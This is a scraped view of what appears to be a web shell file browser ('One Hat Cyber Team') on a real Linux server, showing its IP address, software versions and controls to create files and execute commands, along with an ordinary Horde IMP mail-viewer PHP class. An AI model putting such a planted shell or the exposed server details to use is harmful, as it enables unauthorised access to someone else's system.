⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
imp
/
lib
/
Mime
/
Viewer
/
View File Name :
Enriched.php
* @category Horde * @copyright 2001-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP */ class IMP_Mime_Viewer_Enriched extends Horde_Mime_Viewer_Enriched { /** * Return the full rendered version of the Horde_Mime_Part object. * * @return array See parent::render(). */ protected function _render() { $ret = parent::_render(); if (!empty($ret)) { reset($ret); $ret[key($ret)]['data'] = $this->_IMPformat($ret[key($ret)]['data']); } return $ret; } /** * Return the rendered inline version of the Horde_Mime_Part object. * * @return array See parent::render(). */ protected function _renderInline() { $ret = parent::_renderInline(); if (!empty($ret)) { reset($ret); $ret[key($ret)]['data'] = $this->_IMPformat($ret[key($ret)]['data']); } return $ret; } /** * Format output text with IMP additions. * * @param string $text The HTML text. * * @return string The text with extra IMP formatting applied. */ protected function _IMPformat($text) { // Highlight quoted parts of an email. if ($GLOBALS['prefs']->getValue('highlight_text')) { $text = implode("\n", preg_replace('|^(\s*>.+)$|', '
\1
', explode("\n", $text))); $indent = 1; while (preg_match('|>(\s?>){' . $indent . '}|', $text)) { $text = implode("\n", preg_replace('|^
(\s*>(\s?>){' . $indent . '}.+)$|', '
\1', explode("\n", $text))); ++$indent; } } // Dim signatures. if ($GLOBALS['prefs']->getValue('dim_signature')) { $parts = preg_split('|(\n--\s*\n)|', $text, 2, PREG_SPLIT_DELIM_CAPTURE); $text = array_shift($parts); if (count($parts)) { $text .= '
' . $parts[0] . preg_replace('|class="[^"]+"|', 'class="signature-fixed"', $parts[1]) . '
'; } } // Filter bad language. return IMP::filterText($text); } }